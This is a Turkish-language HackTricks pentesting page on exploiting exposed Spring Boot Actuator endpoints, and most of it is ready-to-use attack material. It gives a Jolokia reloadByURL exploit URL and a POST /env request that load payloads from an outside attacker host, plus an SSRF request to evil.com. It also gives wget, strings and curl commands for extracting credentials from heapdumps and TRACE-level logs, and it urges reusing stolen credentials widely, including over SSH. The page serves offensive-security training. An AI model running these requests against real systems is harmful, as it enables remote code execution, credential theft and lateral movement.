Spring Actuator'ları

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Spring Auth Bypass

Kaynak https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Spring Boot Actuator'larının Sömürülmesi

Orijinal gönderiyi kontrol edin: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

Önemli Noktalar:

  • Spring Boot Actuator'lar /health, /trace, /beans, /env vb. gibi endpoint'leri kaydeder. 1 ile 1.4 sürümlerinde bu endpoint'ler kimlik doğrulama olmadan erişilebilirdir. 1.5 ve sonrası sürümlerde varsayılan olarak sadece /health ve /info non-sensitive (duyarlı olmayan) olarak kalır, fakat geliştiriciler genellikle bu güvenliği devre dışı bırakır.
  • Belirli Actuator endpoint'leri hassas verileri açığa çıkarabilir veya zararlı işlemlere izin verebilir:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, ve /heapdump.
  • Spring Boot 1.x'te actuator'lar root URL altında kayıtlı iken, 2.x'te /actuator/ base path'i altında bulunur.

Sömürme Teknikleri:

  1. Remote Code Execution via '/jolokia':
  • /jolokia actuator endpoint'i Jolokia Library'yi açığa çıkarır; bu, MBeans'e HTTP erişimine izin verir.
  • reloadByURL action'ı, logging yapılandırmalarını harici bir URL'den yeniden yüklemek için kötüye kullanılabilir; bu, craft edilmiş XML konfigürasyonları aracılığıyla blind XXE veya Remote Code Execution'a yol açabilir.
  • Örnek exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • Eğer Spring Cloud Libraries bulunuyorsa, /env endpoint'i ortam (environment) property'lerinin değiştirilmesine izin verir.
  • Property'ler, örneğin Eureka serviceURL'deki XStream deserialization zafiyeti gibi açıkları tetiklemek için manipüle edilebilir.
  • Örnek exploit POST isteği:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Diğer Yararlı Ayarlar:
  • spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url ve spring.datasource.tomcat.max-active gibi property'ler SQL injection veya veritabanı bağlantı string'lerini değiştirme gibi çeşitli istismarlar için manipüle edilebilir.

Ek Bilgiler:

  • Varsayılan actuator'ların kapsamlı bir listesi şurada bulunabilir: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt
  • Spring Boot 2.x'teki /env endpoint'i property değişiklikleri için JSON formatını kullanır; fakat genel kavram aynıdır.

İlgili Konular:

  1. Env + H2 RCE:
  • /env endpoint'i ile H2 veritabanının kombinasyonunu kullanarak istismar detayları şurada bulunabilir: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • Spring framework'ünün HTTP pathnames içinde matrix parametreleri (;) işlemesi yanlış yorumlanırsa Server-Side Request Forgery (SSRF) için kullanılabilir.
  • Örnek exploit isteği:
http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

Eğer /actuator/heapdump erişilebiliyorsa, genellikle canlı secret'lar (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps vb.) içeren tam bir JVM heap snapshot'ı alabilirsiniz.

  • İndir ve hızlı ön inceleme:
bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Daha derin analiz için VisualVM ve OQL:
  • Heapdump'ı VisualVM ile açın, java.lang.String örneklerini inceleyin veya secret avlamak için OQL çalıştırın:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Otomatik çıkartma için JDumpSpider:
bash
java -jar JDumpSpider-*.jar heapdump

Tipik yüksek değerli bulgular:

  • DataSourceProperties / HikariDataSource gibi Spring nesneleri url, username, password bilgilerini açığa çıkarabilir.
  • OriginTrackedMapPropertySource girdileri management.endpoints.web.exposure.include, servis portları ve URL'lerde gömülü Basic-Auth (ör. Eureka defaultZone) gibi bilgileri ortaya çıkarır.
  • Bellekte yakalanmış Authorization: Basic ... içeren düz HTTP istek/yanıt parçacıkları.

İpuçları:

  • Actuator endpoint'lerini hızlıca keşfetmek için Spring odaklı bir wordlist kullanın (ör. SecLists spring-boot.txt) ve ayrıca /actuator/logfile, /actuator/httpexchanges, /actuator/env ve /actuator/configprops'un da açık olup olmadığını kontrol edin.
  • Heapdump'tan elde edilen credentials genellikle bitişik servislerde ve bazen sistem kullanıcılarında (SSH) da işe yarar; bu yüzden geniş çapta deneyin.

Abusing Actuator loggers/logging to capture credentials

Eğer management.endpoints.web.exposure.include izin veriyorsa ve /actuator/loggers erişilebiliyorsa, kimlik doğrulama ve istek işleme paketleri için dinamik olarak log seviyesini DEBUG/TRACE'e yükseltebilirsiniz. Okunabilir loglarla ( /actuator/logfile veya bilinen log yolları aracılığıyla) birleştiğinde, bu giriş akışlarında gönderilen credentials'ların (ör. Basic-Auth header'ları veya form parametreleri) sızmasına neden olabilir.

  • Duyarlı logger'ları listeleyip yüksek seviyeye çıkarma:
bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Logların nerelere yazıldığını bulup toplama:
bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Giriş/kimlik doğrulama trafiğini tetikleyin ve loglarda credential'ları parse edin. Bir gateway'in auth önünde olduğu mikroservis kurulumlarında, gateway/security paketleri için TRACE açmak genellikle header'ları ve form gövdelerini görünür kılar. Bazı ortamlarda periyodik olarak sentetik login trafiği üretilir; bu durumda verbose logging etkinleştirildiğinde toplama çok kolaylaşır.

Notlar:

  • İş bitince log seviyelerini sıfırlayın: POST /actuator/loggers/<logger> ile { "configuredLevel": null }.
  • /actuator/httpexchanges erişilebiliyorsa, hassas header'lar da dahil olmak üzere son istek meta verilerini gösterebilir.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin